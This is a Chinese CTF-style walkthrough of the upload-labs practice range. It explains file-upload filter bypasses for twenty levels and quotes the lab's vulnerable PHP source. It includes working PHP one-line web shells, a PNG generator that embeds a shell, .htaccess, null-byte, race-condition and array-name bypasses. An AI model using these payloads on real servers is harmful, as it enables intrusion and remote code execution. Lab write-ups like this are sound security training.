upload-labs 0.1 靶机详解

news/2024/5/25 11:10:45/文章来源:https://blog.csdn.net/CvtNhso/article/details/136643753

下载地址
https://github.com/c0ny1/upload-labs/releases

Pass-01



他让我们上传一张图片,我们先尝试上传一个php文件

发现他只允许上传图片格式的文件,我们来看看源码
我们可以看到它使用js来限制我们可以上传的内容
但是我们的浏览器是可以关闭js功能的,我们可以在浏览器的设置中关闭浏览器的js功能
重新加载之后我们进行上传

我们可以看到我们的上传成功了

我们复制图片的地址访问我们上传的php文件

成功访问并且执行了php代码
我们尝试构建一句话木马然后上传

<?php eval($_POST['1']); ?>

这是我们构建的最简单的一句话木马,注意这个一句话木马很容易被杀毒软件识别并将我们的php文件删除因为eval()被认为是一个危险函数
 

<?php $_GET[0]($_GET[1]); ?>

如果上述文件被识别的话我们可以这样写,我使用的是第一种
我们使用蚁剑进行测试

具体的连接测试请看这篇文章:
接下来我直接使用phpinfo()进行测试上传成功即可

Pass-02

我们继续上传我们的php文件

但是很明显不行

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {//这里呢它是在检测文件的类型if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {//它创建一个临时文件$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']   //将临时文件复制到正常的文件中         if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

我们经过分析源码呢知道了它在检测我们的文件类型
我们可以使用burpsuite进行抓包更改它的文件类型 

我们将这里的文件类型改为image/jpeg然后放包

成功上传

Pass-03


我们继续上传后发现它这次好像是将我们的可执行文件加入了黑名单

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

我们看到源码看起来好像没什么问题过滤了我们的可执行文件
但是呢我们的apache有一个特性在某些特定的版本中它会有这样一段代码

它的意思呢是告诉apache将哪写后缀作为php解析
所以我们可以将我们的后缀写为php1,php3,php4等然后就可以成功上传了

Pass-04

先上传看提示

貌似看不出来什么问题我们看源码
 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

我们发现它将我们所有可能的后缀都加入了黑名单包括大小写,其实它将大小写加入黑名单多此一举因为它使用函数将我们的文件名转为了小写
那么现在怎么办呢?

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
.htaccess文件可以的事情,主要包括:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,等等。
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

它有很多参数这里我们需要用到
Sethandler application/x-httpd-php   将该目录及子目录的所有文件均映射为php文件类型。
我们就按照查询到的结果将我们的文件内容和名字进行更改

我们先进行上传上传成功后然后将我们的一句话木马的文件后缀改为它让通过的文件类型

访问上传的文件

可以执行php代码

Pass-05

很显然它一定会把我们的.hatccess过滤掉,所以我们直接看源码
 

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

如果仔细看过前几关的源码你会瞬间发现问题,他这关没有过滤我们的大写
所以我们直接将我们的后缀名改为大写即可

Pass-06

查看源码
 

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

对比上一关没有收尾去空
所以我们给我们的文件后缀名加上空格我们来试试
我们将空格加在后缀名的后边

上传失败,可能不是这么用的我们加在中间

上传成功了但是没有解析
这是因为windows的特性会将我们的后缀的空格去掉所以我们使用抓包

在我标记的地方添加空格即可上传成功

Pass-07

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

 查看源码与之前代码相比少了删除末尾的点
所以怎么做应该显而易见我们先试试

其实在我们更改文件后缀的时候我们就发现,改过之后文件末尾的点怎么好像是消失了
是不是和空格一样会被windows删掉,不知道百度一下果然如此,所以我们继续抓包

末尾加点之后成功上传

Pass-08

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空

查看源码发现没有过滤::$DATA
继续抓包修改文件名

上传成功

Pass-09

查看源码可以看到它将之前所有的注入点全部添加上了,但是仔细看过之后它好像没有循环验证,每个点只验证了一次,所以按照他的步骤他先删除了一个点然后转小写去除$DATA字符之后删除空格,反推一下我们可以写成php. .,他过滤完之后剩下的就是php.然后就正常上传windows的特性会帮我们删除最后一个点,所以文件后缀就剩下php
话不多说开始抓包

可以看到是成功上传的

上传的文件也和预期的一样

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//它先看了一下是否存在文件路径if (file_exists(UPLOAD_PATH)) {//创建一个数组,其中包含不允许上传的文件扩展名列表$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");//从上传的文件信息中获取文件名$file_name = trim($_FILES['upload_file']['name']);//将含有特殊文件名的文件名替换成空$file_name = str_ireplace($deny_ext,"", $file_name);//获取上传文件的临时文件名$temp_file = $_FILES['upload_file']['tmp_name'];//构建文件上传后的路径,将上传目录和文件名拼接在一起。$img_path = UPLOAD_PATH.'/'.$file_name;  //移动临时的文件到目标路径  php的上传特性   if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

分析源码后可以看到它将文件扩展名替换成了空,但是它允许我们上传。
是不是直接双写就可以绕过呢
试试呗 写成这样他从前往后看将php去掉

可以看到上传成功

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){//定义一个白名单$ext_arr = array('jpg','png','gif');//先获取文件名,然后截取后缀$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);//判断有没有在白明单中if(in_array($file_ext,$ext_arr)){//获取临时文件名$temp_file = $_FILES['upload_file']['tmp_name'];//定义一个get传参,将临时文件进行重命名,重命名以后将后缀拼上$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

分析代码看起来好像没什么问题他用的白名单很难绕过,这怎么办?
这里就要引入一个新的知识叫做 00截断
00截断就是用户在url输入中输入包含%00经过浏览器解码后会自动转码将后面的字符截断
比如url输入1.php%00.jpg经过url转码后会成为1.php\000.jpg
php解析时会将文件解析为1.php将后面的字符截断
为什么会出现这样的现象因为php的底层语言使用的是C语言而C语言中的结束符就是 \0
由于这个漏洞危害过高,所以只能在5.2版本中使用,之后的版本都已经修复
这里源码的这一段也很重要

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

先抓包看看

可以看到它通过get传参接收到../upload/这样的一个路径
可以这样写../upload/2.php它经过上边的代码之后
就会是upload/2.php/随机数时间.我们的文件后缀  这样的一个路径
我们在upload/2.php%00/随机数时间.我们的文件后缀
等于是上传后变成了upload/2.php

if(move_uploaded_file($temp_file,$img_path)){

然后看这段代码,它在干什么
它将我们临时文件中的内容,重新复制到了2.php中
还是一样试一试

上传成功

Pass-12

分析源码看到它将上一关的get传参变为了post传参
其实方法是一样的,唯一的区别就是post不会进行解码,所以我们要先对%00进行url编码
抓包

上传成功

Pass-13

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = ''; 

看看他写的这个函数,他读取了文件的前两个字节,用来判断上传的是什么格式的,因为不同图片格式的开头的前两个字节就代表了这个图片的格式,

在这里我们也可以看到他给了我们提示用图片马进行绕过,那你就用呗
先找一张jpg格式的图片,再准备一个写入了php代码的文件

使用windows的cmd直接将php文件中的二进制内容复制到图片中生成新的图片

可以看到已经写入图片文件中虽然图片显示的内容不是正常的但是依然可以打开

上传成功

这里还需要用到文件包含漏洞
这四个函数保护

include 包含   include_once包含一次

require 引入   require_once引入一次
他们有一个最终要的特性是,他包含的所有文件都会被当作php文件进行解析
这里呢源码中给我们准备了一个用于测试文件包含的php文件,一般情况下是没有人会这么写的
因为文件包含是不可能让用户控制的,这是非常危险的,但是既然他给了我们就用他给的测试一下

他的源码是这样的,使用get传参去接收我们的文件

可以看到它将上传的jpg格式的文件解析了

Pass-14

这关他使用getimagesize函数读取文件十六进制的前几个字符串,所以这关依然可以使用上一关的方法

Pass-15

分析源码看到他使用exif_imagetype函数判断一个图像的类型
这看起来没有什么意义,因为使用图片马上传的本身就是他规定格式内的文件
所以依然使用相同的 方法

Pass-16


这里他使用了imagecreatefromjpeg imagecreatefrompng imagecreatefromgif 这三个函数

意思就是改变了图片中关键地方的代码,将图片二次渲染如果使用前几关的方法我们的代码会被打乱或删除
怎么办呢?
这里先尝试gif因为png和jpg的格式比较复杂
先将一张gif图片上传,然后将上传后的图片下载下来
我使用的是010editor

使用010editor打开下载的图与原图进行比较看看哪些地方没有被改动

在这里去找点击Match去找,去蓝色区域表示是相同的,就代表这这里的区域在它二次渲染的时候没有被动过

可以仔细找找尽量在00区域去写,这样能尽可能避免的损坏图片,完成后保存上传
之后下载下来再看,看看php语句是否完整

很好一次成功

尽量多去尝试,因为有可能会失败,将我们的语句打乱。
他要求三种格式都实现大家可以自己去试试,反正我很少成功
这里有国外的大神写的代码可以直接拿来用
upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
 

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

将这串代码运行可以看到生成了一个png文件

上传后下载下来看看

可以看到里面确实有一句话木马我们测试一下
因为他写的是一句话木马所以我们需要进行get和post传参

很明显成功了 就演示这么多剩下的jpg可以看着自己去尝试

Pass-17

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);//上传文件$upload_file = UPLOAD_PATH . '/' . $file_name;//将临时文件移动到目标路径,如果移动成功,则继续执行后续代码。if(move_uploaded_file($temp_file, $upload_file)){// 检查上传文件的扩展名是否在允许的扩展名数组中。没有就删除if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

分析代码,可以看到你可以上传文件,但是他会直接将后缀不符合的文件进行删除
这怎么办?利用条件竞争
怎么做?  我们可以看到它先将文件上传之后再判断了文件后缀然后删除,众所周知代码是按顺序执行的,他既然上传了就会在服务器存在一段时间,所以可以在它删除之前访问上传的文件
这有什么用?  php可以创建文件并写入内容的,如果在上传的文件中写入创建一个文件并写入php代码,我们是不是就可以绕过它,它虽然将我们传入的文件删除了,但是我们在它删除之前已将新的php文件生成
开始尝试

写入生成文件的php代码并且生成在上一级
使用burpsuite抓包 把包放在爆破模块中



爆破的时候我们可以打开它的upload文件并疯狂刷新

可以看到文件确实上传了上去,一瞬间就会消失,我们就是要访问它
我们已经知道它具体在哪个文件下,并且也知道文件名开始爆破后只需要疯狂访问就行

出现报错的时候就证明访问到了,这里手速太快总是刷新过头,所以没截到图
如果发现没有上传成功有可能是没有执行权限



现在就尝试访问,看看php文件有没有执行

可以看到确实执行了

Pass-18

这关上传文件时文件不能被上传到upload中,所以打开本关的myupload.php文件
在这里改一下

之后保存重新进入一下18关即可

分析源码可以看到这关是验证了文件的后缀,可以使用和13关一样的方法即可绕过 

虽然可以绕过但是它考察的肯定不是这里可以在源码中看到它的白名单中有很多无关的后缀
这根本和上传图片好像没有什么关系

百度了一下发现这是个中间件解析漏洞。

apache未知后缀解析漏洞,有点像nginx解析漏洞

参考:文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争_upload-labs第19关-CSDN博客

这是一个由于apache配置错误引发的漏洞
先抓包试一下

将后缀改为zip

在upload文件中看到文件有未改名和改名的文件可以尝试访问这个未重命名的文件

并没有解析文件而是下载文件
再来尝试改后缀它白名单中允许了很多后缀

上传成功并且也有未重命名文件

成功访问并解析

为什么会出现有没有被重命名的文件并且成功上传的文件只有几个?
代码使用time() 函数返回的时间戳作为重命名后的文件名,time() 函数返回的时间戳通常只精确到秒级别,如果用户在同一秒内点击上传按钮,它们生成的时间戳将是相同的,进行重命名时就会冲突失败。

快速点了三次(一秒内)发送就可能导致以下情况:

第一个请求成功上传和重命名了一个文件。
第二个请求上传了一个文件,但因为重命名冲突失败。
第三个请求可能遇到相同的问题,因此也无法重命名文件。
每个请求原文件名都是一样的,所以重命名失败后第三个覆盖第二个
最后保存的文件就只有两个,分别是第一个请求和最后一个请求

Pass-19


可以看到这关多了一个保存文件名称
查看源码看到它没有对上传的文件名做判断只对用户输入的文件名做了判断
move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.
直接上传我们的php文件并抓包

修改提交的文件名后缀


上传成功并成功解析

Pass-20

分析源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;

三运运算符:(expr1) ? (expr2) : (expr3);  如果条件expr1 成立,执行expr2,否则执行expr3;

end函数:将内部指针指向数组最后一个元素并输出;

reset函数:将内部指针指向数组第一个元素并输出;

  if (!is_array($file)) {$file = explode('.', strtolower($file));}

在这里它先判断这个文件名是不是一个数组如果不是就将文件名以点进行分割成为了[‘1’,'jpg']
然后使用end函数将最后的后缀拿出来比对黑名单
所以可以在上传的时候将文件名直接上传为数组['1.php','jpg']
它会认为这是一个数组[‘1.php',‘jpg’]
它将最后一个元素也就是jpg拿走比对白名单时就可以绕过

$file_name = reset($file) . '.' . $file[count($file) - 1];

在这里它使用resrt函数将数组中的第一个元素拿出来用点与数组中的最后一个元素拼接
就是说如果我们上传的时1.jpg那么我们的数组就时['1'[0],'jpg'[1]]
它拿出第一个元素也就时0号元素1然后获取数组长度为2,使用数组长度减一 2-1=1,将1号元素拿出来最后拼接成为1.jpg
怎么绕过?
上传的数组时需要上传为['1.php'[0],'jpg'[2]],这样它拿出的第一元素为1.php,第二元素使用数组长度减一2-1=1,但是我们的数组中没有1号元素,所以$file_name中就存储了1.php.,但是windows的特性会自动删除后边的点
开始上传

将save_name更改为数组形式,更改文件类型

可以看到成功上传

成功访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1007702.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详解数据挖掘

数据挖掘&#xff08;Data Mining&#xff09;&#xff0c;又译为资料探勘、数据采矿&#xff0c;是数据库知识发现&#xff08;Knowledge-Discovery in Databases&#xff0c;简称&#xff1a;KDD&#xff09;中的一个步骤。数据挖掘主要是指从大量的数据中&#xff0c;通过算…

计算机设计大赛 题目:基于LSTM的预测算法 - 股票预测 天气预测 房价预测

文章目录 0 简介1 基于 Keras 用 LSTM 网络做时间序列预测2 长短记忆网络3 LSTM 网络结构和原理3.1 LSTM核心思想3.2 遗忘门3.3 输入门3.4 输出门 4 基于LSTM的天气预测4.1 数据集4.2 预测示例 5 基于LSTM的股票价格预测5.1 数据集5.2 实现代码 6 lstm 预测航空旅客数目数据集预…

Spring Boot 中@Scheduled是单线程还是多线程?

在开发Spring Boot应用程序时&#xff0c;定时任务是一项常见的需求。Spring Boot提供了Scheduled注解&#xff0c;可用于将方法标记为定时任务&#xff0c;并在预定的时间间隔内执行。那么Scheduled注解的执行方式是单线程执行&#xff0c;还是多线程执行&#xff1f;Schedule…

蓝桥杯练习题——多路并归

1.鱼塘钓鱼 思路 不会反复横跳&#xff0c;按顺序合并&#xff0c;每次取出最大值 只需要考虑合并几个鱼塘&#xff0c;合并后剩余时间是多少&#xff0c;然后在这个超级鱼塘每次取最大值 #include<iostream> #include<queue> using namespace std; const int N …

数大数据时代的关键:融合数据治理与AI为企业增值_光点科技

在数据驱动的今天&#xff0c;企业不能再将数据治理和人工智能&#xff08;AI&#xff09;视作孤立的实体。它们之间的协同作用已经成为推动企业增长的强大引擎。本文将探索数据治理与AI如何相互作用&#xff0c;形成闭环&#xff0c;以及企业如何利用这一关系来提升数据价值&a…

Android studio 性能调试

一、概述 Android studio 的Profiler可用来分析cpu和memory问题&#xff0c;下来进行说明介绍。 二、Android studio CPU调试 从开发模拟器或设备中启动应用程序&#xff1b; 在 Android Studio 中&#xff0c;通过选择View > Tool Windows > Profiler启动分析器。 应…

基于MATLAB的直流无刷电机速度控制

作品简介 基于MATLAB的直流无刷电机速度控制 仿真平台&#xff1a;Matlab 仿真结果为&#xff1a;

Python数据分析实验一:Python数据采集与存储

目录 一、实验目的与要求二、实验过程三、主要程序清单和运行结果1、爬取 “中国南海网” 站点上的相关信息2、爬取天气网站上的北京的历史天气信息 四、程序运行结果五、实验体会 一、实验目的与要求 1、目的&#xff1a; 理解抓取网页数据的一般处理过程&#xff1b;熟悉应用…

Windows环境部署Hadoop-3.3.2和Spark3.3.2

目录 一、Windows环境部署Hadoop-3.3.2 1.CMD管理员解压Hadoop压缩包 2.配置系统环境变量 3.下载hadoop winutils文件 4.修改D:\server\hadoop-3.3.2\etc\hadoop目录下的配置文件 (1)core-site.xml (2)hdfs-site.xml (3)mapred-site.xml (4)yarn-site.xml (5)workers…

“antd“: Unknown word.cSpell

你遇到的问题是 VS Code 的 Code Spell Checker 插件在检查拼写时&#xff0c;将 "antd" 标记为未知单词。"antd" 是 Ant Design 的缩写&#xff0c;是一个流行的 React UI 库&#xff0c;不是一个英语单词&#xff0c;所以 Spell Checker 会将其标记为错误…

Sui技术帮助Studio Mirai成功实现创意愿景

Brian和Ben Li兄弟对艺术充满热情&#xff0c;通过共同创立的研发工作室Studio Mirai&#xff0c;他们正在探索Web3技术与创意产业的交集。 Studio Mirai的第一个头像类项目&#xff08;profile picture&#xff0c;PFP&#xff09;Tamashi存在于Nozomi World中&#xff0c;这…

C++的语法

可能需要用到存储各种数据类型&#xff08;比如字符型、宽字符型、整型、浮点型、双浮点型、布尔型等&#xff09; 下表显示了各种变量类型在内存中存储值时需要占用的内存&#xff0c;以及该类型的变量所能存储的最大值和最小值。 注意&#xff1a;不同系统会有所差异 #inc…

【阅读论文】智能数据可视分析技术综述

智能数据可视分析技术综述 文章结构 中文引用格式: 骆昱宇, 秦雪迪, 谢宇鹏, 李国良. 智能数据可视分析技术综述. 软件学报, 2024, 35(1): 356–404. http://www.jos.org.cn/1000-9825/6911.htm

智能物流新纪元:分布式I/O模块重塑仓储自动化

随着工业4.0概念的深入人心&#xff0c;物流行业正在经历前所未有的变革。在这个过程中&#xff0c;物流企业必须积极走向工业自动化、智能化&#xff0c;进而提高物流效率&#xff0c;降低物流成本&#xff0c;以便更好地满足客户和市场的需求。智能物流、仓库自动化已然是趋势…

C++ 改造红黑树,封装map和set

C 改造红黑树,封装map和set 一.前言:已经实现好了的红黑树二.简化STL库里面对于map和set的封装1.STL库中红黑树的简化代码2.STL库中set的简化代码3.STL库中map的简化代码4.封装map和set的第一步5.红黑树第一个模板参数的价值6.红黑树节点的定义 三.仿函数1.解除仿函数的误解2.仿…

devops-git【部署及配置】

1、安装Git Linux做为服务器端系统&#xff0c;Windows作为客户端系统&#xff0c;分别安装Git&#xff1a; 【服务器端】 输入git --version 若出现 -bash:git:command not found则需要安装git&#xff1b;服务器端&#xff1a;输入yum -y install git安装完后&#xff0c;…

【Datawhale组队学习:Sora原理与技术实战】训练一个 sora 模型的准备工作,video caption 和算力评估

训练 Sora 模型 在 Sora 的技术报告中&#xff0c;Sora 使用视频压缩网络将各种大小的视频压缩为潜在空间中的时空 patches sequence&#xff0c;然后使用 Diffusion Transformer 进行去噪&#xff0c;最后解码生成视频。 Open-Sora 在下图中总结了 Sora 可能使用的训练流程。…

mac删除带锁标识的app

一 、我们这里要删除FortiClient.app 带锁 常规方式删除不掉带锁的 app【如下图】 二、删除命令&#xff0c;依次执行即可。 /bin/ls -dleO /Applications/FortiClient.app sudo /usr/bin/chflags -R noschg /Applications/FortiClient.app /bin/ls -dleO /Applications/Forti…

【idea】正则表达式去除项目中的各种注释

【ctrlshiftr】 整个项目全局选择正则表达式Regex 【ctrlr】当前页面 分别输入以下命令 ^\s*\n #去除空行 ^\s*\n# 去除 <!--xxx--> 注释 <!--.*?--># 删除 java 注释 // xxx //[\s\S]*?\n# 删除 java 注释 /* */ /\*{1,2}[\s\S]*?\*/替换全部 Replace all 为…

Arcgis新建位置分配求解最佳商店位置

背景 借用Arcgis帮助文档中的说明:在本练习中,您将为连锁零售店选择可以获得最大业务量的商店位置。主要目标是要将商店定位在人口集中地区附近,因为这种区域对商店的需求量较大。设立这一目标的前提是假设人们往往更多光顾附近的商店,而对于距离较远的商店则较少光顾。您…